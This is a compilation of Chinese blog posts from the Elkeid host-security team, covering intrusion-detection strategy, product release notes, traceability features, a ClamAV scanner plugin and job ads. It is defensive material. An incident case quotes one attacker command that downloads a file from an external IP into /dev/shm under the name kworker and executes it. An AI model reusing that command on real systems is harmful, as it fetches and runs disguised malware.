• 根据服务器的业务属性，部署环境，漏洞基线层面的风险情况，具体组件，历史威胁情况动态的配置不同的数据采集能力，比如：RASP能力，应用层日志采集分析能力，默认不开启的Hook能力如Accept，File Write，File Read等；

• 举例如果A业务存在公网暴露，并且相关组件存在漏洞，服务器目前CPU和MEM资源还有较多剩余，动态开启了RSAP和File Write与FIle Read，业务漏洞修复完成后自动关闭了File Write和File Read的Hook。

最终还是需要增加新的数据感知能力来应对更复杂的场景，但是我们可以通过更加动态和精准的方式调整这些数据采集的开关或者检测模型，来尽可能降低成本和业务侧的影响。

还有一个问题是目前有些安全厂商构建策略的时候实际上考虑的并不是真正的对抗，而是面向竞品和招投标POC进行建设的，或者是噱头式的功能开发，很难真的在检测工程方面积累沉淀，在新型风险或者未知攻击行为面前能力很难说，不过实际上关注这部分的用户其实确实也很少就是了。

附很久之前画的一张草图：Linux下的对抗难度金字塔。

5. 延伸讨论：关于安全“控制”

安全的本质是什么？这个问题我思考了很久，答案在几年前基本定型了，我的答案是：

保证业务在预期的环境内，执行预期的行为。

目前的基线检测，漏洞发现等是尽可能确保在预期的环境内运行。

而入侵检测是在不断尝试发现小部分非预期的行为。

如何更近一步？我觉得这个答案实际上很早就有了，就是所谓的MAC(mandatory access control)，比如基于LSM的SeLinux，但是很显然，这不适用于现有的互联网公司的架构和需求。

我们设想一下，怎样的权限控制体系才是最优解，我们从一个发布到生产环境的二进制的视角看下：

• 编译成为镜像或二进制，镜像或二进制内有可以确认具体业务ID的凭证；

• 发布到生产环境后通过确认身份信息，操作系统授予对应的业务的网络和系统权限，比如：仅能访问自己的上下游业务端口，如果没有DBProxy那只能访问自己有权限的数据库等等，文件仅有公共日志目录的写权限，权限体系应该是最小粒度的控制；

• 如果这时候有外部入侵植入了后门，那么后门因为没有自己的业务身份信息，将不会有任何权限。

如果是一个开发人员登陆到某台服务器上，那么他的视角是：

• 从堡垒机登陆到某服务器，某服务器根据登陆信息确认该人员是A产品的开发人员，具有对于A产品的读写权限，并且具有基本的系统权限和白名单内的工具访问权限；

• 开发人员通过对系统日志，A产品日志访问，使用网络工具等工具等故障排查工作，均可以顺利展开；

• 该开发人员试图通过外网下载后门文件失败，因为不具备非白名单内外网访问权限，又试图自己运行自己编译的后门但失败，因为不具备非白名单二进制运行的权限，尝试修改关键配置如ssh配置失败，理由依然是不具备相关权限，尝试自己写nc脚本进行端口探测失败，因为不具备其他业务访问权限。

如果是一个运维人员的视角是：

• 如果是高权限的运维同学，那么将会拥有实际Root权限；

• 如果是一个权限较低的运维同学，可能需要通过命令下发平台进行作业，具体执行的命令需要其他同学审批，如果直接登陆到服务器端依然是Rootless的用户权限。

这些场景下的推演我们可以发现，实际上目前Linux本身的权限体系是比较难支撑这种限制和管理的，因为目前主流的Linux下的权限还是依赖于Linux用户体系，这显然无法应对复杂的权限关系，我认为最佳实践应该是基于LSM（Linux Security Modules）的能力将系统权限上进行业务场景的细分，如分为文件权限，系统权限，特殊权限，网络权限，然后和服务发现，服务权限，人员权限三者进行结合，从而尝试实现人员和应用的最小权限控制。

如果从实际推进落地的角度，可能一开始是只保护系统关键配置如sshd配置，dns配置，网络配置等，然后再逐步扩大保护的范围，比如再扩大到数据库服务关键应用等。

（应用程序的权限控制的草图）

6. 延伸讨论：XDR

关于XDR主要想聊的问题主要是：目前有多少攻击是无法基于单一安全产品检测到的？XDR排除告警后数据关联能力外，基于检测工程部分有多少价值值得挖掘？我无法给出比例，并且不同厂家下的产品能力可能也不一致，但是我估计可能不会特别高。

当然XDR是有价值的，只是我觉得目前网络，主机，各种Runtime下的检测和产品对于行为本身的理解能力还有非常大的空间可以成长。

7. 延伸讨论：大模型和检测响应

目前基于安全知识库的大模型的支持，能做哪些工作？

• 策略建设部分感觉可以用于弱告警关联分析；

• 针对cmdline等告警内数据进行解释和总结，提高IR团队效率；

• 误报分析，判定新告警误报或真实告警的可能性；

• 通过预制专家库问题不断向Agent（AI智能体）进行提问，来帮助IR团队提高效率，比如：

• 这个IP在告警数据中最早出现时间是？

• 这个IP还在那些服务器访问过？

• 这个IP有哪些端口开放？

• 这个进程是什么业务的？

• 还有哪些机器存在这个进程？

• 这个进程的HASH是否在外部被标记为恶意？

• 这段Base64 or 16进制是什么意思？

• 这个日志中的报错内容涉及到哪些Java组件？

• 这些Java组件历史存在哪些安全漏洞？

• 其他的常规用法就不赘述了。

8. 写在最后

实在是没想到自从去年6月离开前团队后，我就基本算是离开反入侵建设领域了，这一年来也是感慨颇多。想到之前有太多未完成的工作和没来得及实践的想法，于是提笔写下了这篇文章，本来想尽可能详尽一些，但是没想到工作量要比预想的大得多，所以最后还是写成了一篇比较概括性的文章。总之希望这篇文章可以帮助其他还在这个领域的小伙伴，也在此感谢长期关注的小伙伴们。

也不知道是不是最后一篇主机安全或入侵检测相关的文章了，希望将来有缘再见吧。

阅读原文

跳转微信打开

帮好友转-资深安全开发招聘，鹰角网络

岗位职责：

1、支撑安全团队内部安全工具开发，配合安全运营和业务方将安全策略落地，通过自动化方式监控、检测、阻断安全风险及安全事件；

2、负责内部安全产品的技术方案调研、方案设计、开发及维护，范围包括数据安全、账号安全、安全监控、内容安全、风控、安全运营、办公网安全等。

3、负责 web 应用前后端、安全工具、安全策略开发和维护；

任职资格：

1、扎实的计算机专业基础，熟悉常用的数据结构，优秀的代码编写、算法设计能力及良好的开发习惯；

2、5 年以上开发和设计经验，熟悉 Java/Go/Python 等至少一种开发语言，有丰富安全项目设计、开发经验者优先；

3、5 年以上安全相关从业经验，熟悉安全产品的工作原理及相关能力要求，能够独立设计开发安全项目；

4、优秀的系统分析和问题解决能力，能够攻克复杂的系统难题；

5、良好的沟通表达能力和团队协作能力，勤奋好学，能够快速适应变化。

其他：

鹰角网络，base 上海，联系方式：x9385395@gmail.com

阅读原文

跳转微信打开

携程，基础安全招聘

岗位职责

岗位要求

联系方式

hwtu@trip.com

其他

帮好友转，Base 上海，携程，团队稳定，老板靠谱，推荐。

阅读原文

跳转微信打开

本公众号后续不再作为Elkeid官方公众号使用

灾难控制 局

跳转微信打开

招SRE运维开发工程师

跳转微信打开

Will的2022年总结

我是 Elkeid 负责人 Will，可能很多人不知道这最早是我和几位老友的私人公众号，只是后来总是用来宣传 Elkeid，并且大家逐渐忙碌也不怎么写文章了，所以各位看到一篇非宣传性质的文章也不用惊讶哈哈。

如何讨论我的 2022 呢？说起来很是有趣，2022 年对我来说确实是充满挑战和变数的一年，在这一年内我一直在思考和总结，直到过年放假有空找个角落心无旁骛的专门思考这个话题的时候却突然不知道何处下笔了，所以我就想到哪里就写什么吧。

1. 关于团队的思考

2022 年我经历了很多关于团队的方向、架构或者团队内部的调整，在这个过程中我思考的结论最深刻的应该是：

“决定团队方向、价值、大小决策的实际上就是被很多人所忽视的核心价值观，或者说就是那个从不会写在年度规划里的终极目标，那个可以称之为理想的东西，虽然很多人并不清楚自己的理想是什么。”

在我初入职场的时候面对公司和领导们给我们周会月会苦口婆心的远大目标、宏大方向的时候其实也会感觉非常务虚无法产生共鸣，更不要说上升到公司价值观层面的部分了。

但是 2022 年我开始意识到，实际上真正影响团队每一个人的正是这个看起来虚无缥缈的东西，他可能是某一个人的个人所决定的，也可能是团队成员逐渐形成的某种共识。可能是坚定的想做伟大产品的目标，也可能是满脑子都是向上管理或者无所谓的躺平的共识。这种东西首先会影响到某些个个人，然后逐渐伴随着这个个人的影响力影响整个团队。

当我意识到这个问题之后，我发现在“理解一个人；理解一个团队”这件事上确实有质的突破，以前我可能仅仅通过这个人或者团队成员的履历，能力，双商或关键决策等间接判断，但是现在我绕过这些迷雾后发现，当你发现一个人或者一个团队的核心价值观或者是他的理想的时候，理解会上升到更高的层次。这帮助我在 2022 年对团队甚至整个组织的行为或者决策有了理解的更深刻的基础。

这也就是为什么你会看到团队和团队间的差异如此巨大，这是因为他们核心价值观不同导致的，这个价值观到底是什么，可能团队内只有极少的人甚至没有人能精准描述，但是他就是真实存在的，影响着每一个大小决策和选择，并直接引导着团队的发展方向。

2. 关于自下而上与自上而下

2022 年我见过自上而下管理的团队，也见过很多几乎完全自下而上生长出来的业务，我发现自下而上生长的业务在中后期多少都会遇到很多结构性的问题，这不一定都是团队自身的问题，很多问题可能是来自外部的，因为如果持续在更高维度的资源协调配置、规划中都是缺席的或者缺乏影响力，那么困难很容易想象的到。

因此我认为：

“在正常的生态中很难存在完全自下而上生长并且成功的业务，最终还是需要获得自上而下的支持。这个是需要提前思考的问题。”

3. 关于商业化的思考

2022 年应该是我们团队开始商业化的第一年，伴随着公司战略层面的调整，我们从一个仅负责内部的团队也开始推进商业化工作，实际上我对于国内安全商业化和市场环境一直也不陌生，只是真正进入变成了一个深度参与者后，视角还是不一样的。

但是关于大家都知道的这些问题也罢情况也好，就不在这里赘述了，我关于国内 CyberSecurity 方向商业化在 2022 年的思考结论中对我影响最大的实际上只有一个：

“我们需要坚信以核心价值为导向的市场环境终将会到来。”

只有在这种希望下，持续保持对产品核心能力以及细节的打磨，才能不断影响这个市场并且逐渐在这个过程中让这个希望成真，这并不是一个先有鸡还是先有蛋的问题，也并不是没有先例的细分领域。

4. 关于反入侵方向

在 2022 年我们在反入侵（入侵检测、入侵响应、威胁猎捕）方向做了很多新的尝试。有一些我个人在 2022 年的结论：

“AI 是可以在自动化策略生成，部分场景下未知威胁发现，告警可解释性增强等方面落地的，并且会有较好的表现。”

在过去 AI+安全确实有一段时间的热度，但是目前看似乎有些下降，大家对于 AI 的看法也似乎逐渐悲观，但是在我们的超大规模环境下做了很多方向的测试和验证，我们发现 AI 仍然是有巨大优势并且是可以落地带来实际价值的。

“非算法前提下提高入侵检测能力的上限的方式除了行为序列检测，应该是想办法尽可能提高对于有限数据的理解或者标签化。”

抛开底层数据增强采集或者类 XDR 产品讨论以及 AI 等，仅讨论基于规则的策略如何进一步提升，在 20 年 21 年 Elkeid 开始尝试并且持续在行为序列检测（不依赖单一行为检出，依赖单系统内产生的多个行为）上投入，也确实看到了很好的表现，但是在 22 年下半年逐渐进入瓶颈，但是实际上入侵检测这个方向还远远没有看到边界。我个人认为，对于单一行为的可量化的理解是提高检测能力的一个基础关键，比如一个行为是：

exe：/tmp/abc argv：/tmp/abc -b pid_tree：1283555.abc<1282964.aabbcc

然后再充一些信息：

exe：/tmp/abc argv：/tmp/abc -b pid_tree：1283555.abc<1282964.aabbcc
登陆所属：chenyue.will 二进制属性：运维工具 外联资产信息：内部，PSM：a.b.v 二进制来源：系统自带，全网占比65%

其实就是按：

谁 对什么 做了什么

进行标签化或者某种量化，通过这种理解能力上的提升带来整体策略能力的提升。

5. 关于 XDR

大家可以看我在 2018 年关于类 XDR 产品的思考：https://mp.weixin.qq.com/s/Ge1BAyesVziCIBaELzGhhA，（在最后一节：NIDS 的不足）。

在 2022 年我主要在思考的问题是：

“有多少比例的威胁是基于单维度入侵检测产品无法检出的，即必须依赖至少 2 个安全产品的原始数据级别关联才可以进行有效检出？”

这个问题的答案实际上会影响到：XDR 类产品在建设的中短期的路线是什么，当然这个问题实际上在不同的公司背景下或者不同团队内都会有不同的答案，这里只是抛出一个我认为很有讨论价值的问题供大家思考。

6. 关于开源

2022 年虽然内外需求越来越饱和，但是我们在开源方向投入并没有减少，到目前为止，Elkeid 内部和商业版本的端上能力与接入层能力与开源版本一致，并且策略引擎 Elkeid HUB 我们也推出了社区版本。

其实关于开源版本仍然有很多问题，主要集中在如文档不完善，各种不友好的使用上的 BUG 一直持续存在等等。一方面是人力问题，第二方面实际上开源版本到现在为止在社区方面应该依然是比较失败的，失败的主要表现有以下：

“社区群的高质量讨论极少，主要以抛出使用问题为主；来自社区的有意义的 PR 2022 年少于3个，虽然 Star 数上升明显。”

这样实际上社区始终依赖 Elkeid 团队输入，但是我们在各种其他压力下实际上很难持续维持对于社区的投入，并且社区却很难真正形成，反而更像是某种负担，并且大量不阅读文档，对于基础概念缺失的用户的反复提问也会让团队内对于开源这件事产生质疑。

我在 2022 年听到过很多次这样的评价：“Elkeid 就是那个字节的开源 HIDS，而且他们最核心的部分没有开源。”，事实上如果只是策略和策略引擎未开源就会被贴上“最核心的部分没有开源”的标签，也确实比较容易影响我们对于开源的心态。

实际上对于开源我们最初的想法非常简单：

“这是一个很酷的事情，应该让更多人知道：这个细分领域还有人在专注，还在不断提出更优解；这是一个很酷的事情，我们希望有更多人加入进来一起完善。”

回看 2022，似乎这个期望依然是遥不可及的。

7. 写在最后

2022 年几个好友都告诉过我：

“只是一份工作而已，不要想太多。”

我总是会在心里想：“Elkeid 对我来说可不仅是工作而已。”

但是我现在站在 23 年的 1 月里回看 22 年的时候，我开始觉得工作之外还有很多需要我关注的人和事，Elkeid 也仅仅是我理想中的一部分。

在最后祝新的一年世界和平，希望所有的故事都有美好的结局。

阅读原文

跳转微信打开

Elkeid 社区版 v1.9.1 发布

我们很高兴向大家宣布，Elkeid社区版 v1.9.1 于12月02 日正式发布。这是自Elkeid 社区版 v1.7 发布以来的第一个大版本。

本次更新不仅包含了性能优化和稳定性的提升，还新增了漏洞扫描、基线检测、应用运行时防护、云原生防护等许多重要功能，欢迎大家使用。

Elkeid (Bytedance Cloud Workload Protection Platform) 是一款可以满足 主机，容器与容器集群，Serverless 等多种工作负载安全需求的开源解决方案，源于字节跳动内部最佳实践。

Elkeid 具备以下主要能力：

• Elkeid 不仅具备传统的 HIDS(Host Intrusion Detection System) 的对于主机层入侵检测和恶意文件识别的能力，且对容器内的恶意行为也可以很好的识别，部署在宿主机即可以满足宿主机与其上容器内的反入侵安全需求，并且 Elkeid 底层强大的内核态数据采集能力可以满足大部分安全运营人员对于主机层数据的渴望。

• 对于运行的业务 Elkeid 具备 RASP 能力可以注入到业务进程内进行反入侵保护，不仅运维人员不需要再安装一个 Agent，业务也无需重启。

• 对于 K8s 本身 Elkeid 支持接入K8s Audit Log 对 K8s 系统进行入侵检测和风险识别。

• Elkeid 的规则引擎 Elkeid HUB 也可以很好的和外部多系统进行联动对接。

  
  

Ekeid 将这些能力都很好的融合在一个平台内，满足不同工作负载的复杂安全需求的同时，还能实现多组件能力关联，更难得的是每个组件均经过字节跳动海量数据和多年的实战检验。

增加漏洞扫描、基线检测能力

如何能够全面、精准地检测信息系统中存在的各种脆弱性问题，包括各种安全漏洞、安全配置问题，一直是安全运营中重要工作之一。

Elkeid 本次开源的漏洞扫描和基线检测能力，旨在信息系统受到危害之前为管理员提供专业、有效的漏洞修补建议，帮助用户进行系统加固，这也是CWPP的核心能力之一。

社区版默认支持部分漏洞的检测和少量基线检查能力，可以开箱即用。另外还可以基于我们的开源版本进行二次开发，补全更多的漏洞数据和增加更多的插件检测能力。

增加应用运行时防护能力

RASP的端上能力此前我们已经完全开源，本次更新我们提供了RASP能力的完整接入和使用，可以灵活得配置注入规则和管理注入进程，支持Java、PHP、Golang、NodeJS、Python五种运行时类型的注入。

此外社区版还默认提供了部分的RASP入侵检测规则，支持部分场景的检测能力，想要更强的检测能力可以自行基于 Elkeid HUB 进行策略构建。

增加容器集群保护能力

作为业界领先的容器编排系统之一，Kubernetes为企业容器环境带来了可扩展性，可靠性和简化管理，但同时也为攻击者提供了新的攻击面。

本次我们开源了Kubernetes容器集群防护能力，提供了完整的数据接入能力，并默认配置了部分检测规则。

增加端上病毒扫描能力

本次我们更新了端上病毒扫描能力，支持检测常见的Webshell，木马，后门，挖矿程序等恶意二进制静态文件。并且支持自定义扫描、快速扫描、全盘扫描等扫描方式。

更强的的资产可视能力

本次更新，我们增加容器集群、中间件、应用识别、服务器网卡、基础硬件信息、内核模块信息等的采集，具备了更强的资产采集和可视能力。

监控能力补齐，降低运维难度、提升运维效率

除了安全能力以外，Agent对业务机器的影响，后端系统本身的稳定性也是我们非常关注的。本次开源我们增加了对Agent以及后端服务的运行状况以及资源占用等的监控、告警能力。

可以在前端实时查看Agent所在主机的CPU，内存，磁盘和网络流量等使用情况。还可以在系统监控模块查看后端负载情况和相关的系统告警。

Elkeid HUB 增加完整的前端支持

Elkeid HUB 是一款由 Elkeid Team 维护的规则/事件处理引擎，支持流式/离线(社区版尚未支持)数据处理。初衷是通过标准化的抽象语法/规则来解决复杂的数据/事件处理与外部系统联动需求。

本次我们发布了 Elkeid HUB 的相对完整前端能力，可以支持规则的可视化编辑，规则测试，规则发布，集群状态监控，以及用户管理。

其他更新

这里只列举了部分更新，更详细的细节请查看 Release Notes。

• 提供钉钉，飞书，企业微信，邮件等告警消息推送能力，支持按告警等级维度进行告警推送。

• 组件配置及策略优化，支持用户下发自定义客户端插件。

• 增加文件完整性检测能力。

• 首页重构，优化产品表达能力。

• 告警整体展示能力完善，提供更加详尽的告警信息。

• Elkeid HUB增加规则测试能力。

• 性能优化和多个问题修复，提升了兼容性和稳定性。

与社区版相比，Elkeid企业版具备更完整的防入侵和风险感知能力，可以支持单独策略售卖，也支持完整能力售卖。

目前，Elkeid企业版不仅仅在字节跳动内部和火山引擎上使用，也得到了众多外部客户的信任和验证。如果对Elkeid企业版感兴趣请联系: elkeid@bytedance.com。

• Elkeid企业版与社区版能力差异：

• Elkeid HUB 企业版与社区版能力差异：

开源地址：

• https://github.com/bytedance/Elkeid

• https://github.com/bytedance/Elkeid-HUB

开源协议：

• 内核态驱动采用GPLv2协议

• 用户态程序采用Apache-2.0协议

• Elkeid HUB: Elkeid License（商业不友好）

Elkeid 开源版本会长期维护和更新；

非常感谢项目开发/推动过程中相关团队的支持与帮助。

欢迎大家通过GitHub或飞书群【 Elkeid 交流群】进行交流讨论和建议反馈。

飞书群二维码：

阅读原文

跳转微信打开

Elkied 案例分享

curl 8.x.x.161/t -o /dev/shm/kworker; chmod x /dev/shm/kworker; /dev/shm/kworker

以下为本次安全事件中的归因逻辑，涵盖了所有下载的木马、被感染的机器，以及 C2 IP 的记录。安全人员在排查事件时，只需要刷新一下页面，就可以看到入侵者是否有新的动作产生？哪些机器还受到影响？哪些IP 还需要进行封禁？

四、后记

讨论组：

阅读原文

跳转微信打开

Elkeid 企业版溯源能力介绍

当主机侧安全产品发现异常行为时，安全运营人员往往需要更多上下文来判断这次事件的可能来源，影响程度，以及侵入者还有什么其他行为（侵入者可能仅有小部分行为被入侵检测系统发现异常）如：

• 除了该告警，还有什么其他行为？

• 入侵的来源是什么？最早失陷的主机是？什么时间？

• 还有多少资产受到影响？

• 如何有效止损与环境恢复？是否在隐蔽的地方实现了驻留？

主机层的安全事件想要回答这些问题，如果仅借助告警本身以及登陆受害机器通过如 History 等日志进行排查首先可能存在日志已经被清理的问题，其次很多行为其实也并不会被记录。

Elkeid 具备强大的数据采集能力，对于进程创建，文件创建，主动监听端口，主动对外发起连接，DNS请求，权限变更为Root等都可以记录并传递到后端进行行为分析，并且可以很好的捕获容器内行为与短进程，短连接等行为。

具体采集能力如下：

(灰色为默认关闭的采集项)

目前 Elkeid HUB 自身在不依赖外部存储系统的情况下可以实现2-8小时的原始数据存储，并支持秒级溯源查询。因此当 Elkeid 告警产生后，Elkeid 会通过告警数据与原始数据互相关联并持续更新溯源数据，从而帮助安全运营人员更好的理解告警的上下文。

例一：

例二：

溯源图中的进程创建类型节点是很重要的一类数据，通过该数据我们可以很好的了解到告警的前后还执行了什么。

在下图这个案例中，我们通过查看告警节点的父进程信息，可以看到“--no-sandbox”这个关键信息。

而在下图这个案例中，我们可以清晰的看到反弹shell后入侵者执行的命令：

通过该类数据我们可以很好的查看告警的上下文，如进程的派生关系，告警节点后的相关行为等。

Elkeid 溯源能力还会记录与告警行为相关的全部文件创建行为：

通过该数据可以很好的分析下载行为，敏感文件替换行为等文件创建的行为。

Elkeid 溯源能力还会记录与告警行为相关的网络连接，如Connect/DNS Query：

通过该数据可以很好的发现如内网扫描，与C2通讯，尝试连接内网敏感资产等行为。

由于目前版本 Elkeid 溯源仅仅是第一个版本，因此相较于Elkeid 采集的数据，目前可以支持的自动化溯源的数据类型还是相对较少的。但是用户可以根据自己的需求，将Elkeid 在端上采集的全部原始数据存储在如HIVE，ES等地，便于数据分析/威胁溯源/行为审计等需求。

elkeid@bytedance.com

Elkeid 企业版 v1.7.1 正式发布

阅读原文

跳转微信打开

Elkeid 静态检测插件 scanner_clamav 介绍

Elkeid 静态检测插件 scanner_clamav ，使用clamav 引擎：https://docs.clamav.net/Introduction.html 对 Linux 系统进程和敏感目录进行周期扫描，以发现可疑静态文件（UPX/挖矿二进制/挖矿脚本/可疑脚本文件/...）。

开源地址： https://github.com/bytedance/Elkeid/tree/main/plugins/scanner_clamav

1.插件介绍

在 Elkeid 的 agent 中，静态检测插件需要在极其有限的内存和CPU资源占用条件下，在不同发行版和内核版本的  Linux x64 架构系统上进行静态扫描，因此使用完全静态链接的 libclamav 库以及裁剪后的 clamav database 与 yara 规则实现。资源占用数据如下：

（PCT.50~PCT.999 为 Agent 每次心跳上报的数据统计分布占比）

2.使用方式

参考 Github readme

中文 https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md

英文 https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README.md

考虑到部分国内用户无法在编译时正常拉取 zlib、ssl 等标准库的代码，这里配置了 github action 对应的 dockerfile 编译方式，参见：

• Dockerfile

https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/docker/Dockerfile

• Github Action runner

https://github.com/bytedance/Elkeid/blob/main/.github/workflows/Elkeid.yml#L46

• Action 产物

https://github.com/bytedance/Elkeid/actions/runs/2202809672

3. 使用场景

1.周期性扫描：对敏感目录和系统进程进行静态扫描

2.插件扫描任务：对静态检测插件下发扫描任务，对指定文件进行静态扫描

3.与策略联动：外网下载 &  php/jsp/asp 文件创建扫描，以发现 webshell 上传

4. 数据说明

数据类型汇总

4.1. 公共字段（6001 静态命中）

4.2. 进程信息（6002 进程的可执行文件命中）

4.3. 插件扫描任务

在 示例 https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md#%E6%89%AB%E6%8F%8F%E4%BB%BB%E5%8A%A1 中，

{    "id_list": [        "33623333-3365-4905-b417-331e183333ff"    ],    "data": {        "task": {            "data_type":6053,            "name": "scanner_clamav",            "data": "{\"exe\":\"/path/to/target\"}"        }    }}

字段 data 为给插件下发的扫描任务 json string，其中，exe 为待扫描的文件绝对路径，exe、data_type 以外的所有字段会 插入/覆盖（如果已经存在）到命中规则后上报的数据中。例，如果需要在上报的数据中插入预定义的sid，则需要变更如下：

{    "id_list": [        "33623333-3365-4905-b417-331e183333ff"    ],    "data": {        "task": {            "data_type":6053,            "name": "scanner_clamav",            "data": "{\"exe\":\"/path/to/target\",\"sid\":42414236}"        }    }
}

5. database 说明

完整的 clamav database 中包含六百万以上样本数据，加载需要 2G 以上内存使用，且 clamav database 中大部分规则类型为：文件 hash 校验、Section hash 校验，以及大量的 windows 相关病毒规则。在 Linux 服务端的场景下，windows pe 等无关的病毒规则可以裁剪掉，此外 hash 校验部分则可以在扫描时提取对应特征，随 agent 数据流到后端统一验证。裁剪后的 database 再配合低频率的扫描任务，这样可以大幅减少静态检测在端上的内存和 CPU 资源资源占用。

clamav 数据库支持 yara 格式（但有一些限制），且数据库文件支持自定义，详细格式以及数据库定义规则请参考 https://docs.clamav.net/manual/Signatures.html。

阅读原文

跳转微信打开

Elkeid 企业版 v1.7.1 正式发布

Elkeid 经过多个版本的迭代打磨，现正式对外发布我们的第一个企业版本。

Elkeid 是一个主机安全解决方案，通过该方案可以一站式解决的企业生产环境内服务器的安全问题，相较于传统的主机安全类产品，Elkeid 更开放，更强大。

• 资产/风险可视

我们的服务器上有哪些组件与依赖？有哪些存在漏洞？高危害的占比多少？

这些问题相信在安全团队内出现的频率一直没有降低过，并且随着多云/混合云/容器化的生长，带来的这类对资产可视的需求也越来越复杂。

• 合规需求

我们的生产环境服务器是否可以满足一些基础基线的安全配置？又有多少服务器存在潜在的配置或合规性风险？内外审计的需求也是主机安全的核心诉求之一。

• 入侵检测

服务器是否被入侵？是否存在挖矿程序？是否被植入后门？是否被上传 Webshell？是否有内部人员执行恶意操作？无需赘述，主机安全的核心价值之一就是通过动态、静态等手段尽早的发现恶意行为。

• 威胁猎捕

当我们确定存在入侵行为，接下来的问题就是：入侵者如何进入的？多少资产受到影响？入侵者具体做了什么？解决这些问题，我们才可以进行完整的定损止损和后续优化。

而往往主机安全产品还需要回答如网络安全产品，行为安全产品，威胁情报的各种问题：谁在服务器上做的这个行为触发了我的告警？

• 止损/环境恢复

当入侵发生了，我们希望可以有具备有效的手段中止入侵行为，如果可以进行环境恢复来缓解入侵带来的影响那应该是更好的。

• 稳定性需求

安全很重要，但不能因为安全影响业务。因此针对需要在生产环境服务器内部署 Agent 的主机安全产品来说，稳定性，对业务的性能影响也是至关重要的。

• 访问控制

可以通过更多的上下文进行行为限制，即签名+行为白名单，实现进一步的安全，而非单纯防御。

Elkeid 目标是成为满足各类型的主机安全需求的产品，构建企业安全防御最重要的基石。Elkeid 从真实的安全前沿对抗中诞生，可作为每个安全工程师得力的依靠，能力的扩展与产品力的进步将不会停止。

Elkeid 基于内核态获取数据，天然具有很强的抗干扰和混淆能力。这种数据上的优势提供了无与伦比的入侵检测能力，我们具有更多的数据点位，更多的数据来源，更准确的信息情报。因此在国外知名公司组织的第三方测试中获得了在一线海外竞品中面对 APT 类行为最好检出能力的评价结果。

注：测试时间为2021年年初，均使用 Linux 版本，各产品由厂家直接提供和校正。测试方案为自动化工具模拟APT入侵行为，大部分行为具有较高迷惑性。

测试期间Elkeid 仅提供了恶意行为检测能力和杀伤链检测能力，当前Elkeid 已经追加了更多入侵检测相关功能，可以提供更高更强的检测水平。

• 静态检测能力

通过静态特征对服务器上的文件/进程二进制进行检测，从而发现如 Webshell/后门/挖矿程序/勒索程序等恶意软件。

例一：文件落盘时依据静态检测能力，对落盘文件触发式进行静态检测，发现 /root/webshell_testdir 目录下的新增PHP Webshell。

例二：静态检测周期扫描中，发现 /root/bincheck0310 目录下存在疑似挖矿类的 test_6002 文件。

• 恶意行为检测能力

对主机上正在执行的进程链进行行为检测，用于检测各类远程命令执行，权限提升，反弹shell，驻留行为，信息收集行为，后门行为等。由于 Elkeid 出色的底层数据采集能力，在该项中表现更加精准，上下文数据更为全面，更符合安全运营的告警处理逻辑。

例一：以简单的反弹shell为例，我们可以看到进程树信息，进程的连接信息，进程的输入/输出与SSH信息，以及对应的父进程命令行与进程组命令行信息，可以有效的帮助运营人员理解告警成因。

例二：以容器逃逸为例，我们除了父进程命令行与进程组命令行等信息以外，还会提供诸如文件路径，外联进程命令行等辅助字段，用于辅助判断恶意文件和潜在入侵入口。

• 杀伤链检测

有鉴于APT入侵过程均较为隐蔽，整体行为非常接近正常运维/业务操作，且也不一定会用到特征明显的后门或者木马。Elkeid 会对机器上的行为序列进行分析、打分、并按照杀伤链合并成告警，可以有效发现掩盖在业务操作中的隐蔽入侵行为。

例一：这里的告警对临时文件目录下创建后门行为来进行告警。从告警链条上可以直接看到特定的临时文件创建和临时文件外链行为。

例二：这里的Elkeid对文件下载，赋权，扫描等行为序列来进行告警。从溯源图上可以直接看到特定的下载，赋权和扫描行为。

• 内核态Rootkit检测

在当下，Linux Rootkit 已经广泛作为武器化进行使用，内核态 Rootkit 的危险程度是超出大部分安全工程师的预期的。E lkeid 在ring0 层提供内核态的Rootkit检测和追溯能力。目前我们支持多种 Rootkit 的行为检测，不依赖指纹，可以更好的识别未知威胁。

例：这里我们的Rootkit检测能力可以成功发现并检出已经加载进内核的 Diamorphine Rootkit，并指出了其对应的恶意行为。

• 事件合并能力

一次入侵/测试行为往往不是一击即走的，很可能会在不同时间段内产生多条告警。Elkeid通过将告警提取关键信息，用自动化归并成为事件的方式来降低运营噪音，降低运营人员负担，同时提高运营人员对告警的关联分析能力，为运营人员面对入侵/测试行为提供了更全局的视角。

例：Elkeid 自动根据告警特性将10.225.117.35 和 10.225.124.211 两台机器上的相近测试告警合并在一个事件中。

• 端上文件下载

Elkeid 整合了端上溯源能力，其中文件路径和进程二进制均支持页面点击触发端上文件下载，节省运营人员登机排查样本的时间。

• 告警自动溯源

当告警触发后，Elkeid会自动对恶意行为进行的上下文行为进行关联溯源，将告警放置到相关的原始数据中，以溯源图（Provenance Graph）的形式来帮助运营人员更好的理解告警上下文。目前支持关联的原始数据类型有：进程创建，文件创建，DNS请求，网络连接，监听端口，加载内核模块。

例一：

例二：

值得一提的是，溯源模块目前可以支持告警前后2个小时的原始数据溯源，存储部分依赖Elkeid HUB策略引擎，不需要维护专门存储模块。Elkeid HUB 自研的持久化模块实现了200TB历史数据秒级查询溯源的能力，并且仅依赖原有计算节点资源，是低成本且可靠的告警溯源解决方案。

HIDS 并不仅仅是入侵检测，作为安全检测和应急处置的发起方，防患于未然也是安全防护的重点工作。Elkeid Team 基于长期高强度对抗形成的经验，整合资产盘点，漏洞扫描，基线检查等功能于一体，作为企业版HIDS 的风险防范能力，增强用户的事前防御。

• 资产盘点

Elkeid 该版本支持以下资产数据采集：

• Cron 定时任务采集

• 发行版软件包采集

• PYPI 软件包采集

• Java 软件包采集（支持fatjar）

• Systemd 服务采集

• 开放端口采集

• 常驻进程采集

• 用户信息采集

• 系统完整性信息采集

  
  

• 漏洞检测

目前版本 Elkeid 内置了漏洞库信息，支持基于资产采集信息进行漏洞匹配，实现漏洞管理功能。

• 基线检测

目前支持等级保护二，等级保护三与弱口令基线检测。

• 支持百万级Agent接入

Elkeid 后台各组件均可以实现横向扩容与高可用，支持百万级 Agent 接入。在内部百万级 Agent 接入的情况下，平均告警检出时间小于1s。

• 支持自定义端上插件

Elkeid 在端上是 One Agent 设计，功能模块拆分为不同插件进行工作。如有需求也可以按需编写自己的插件实现自定义需求。

• 性能/稳定性

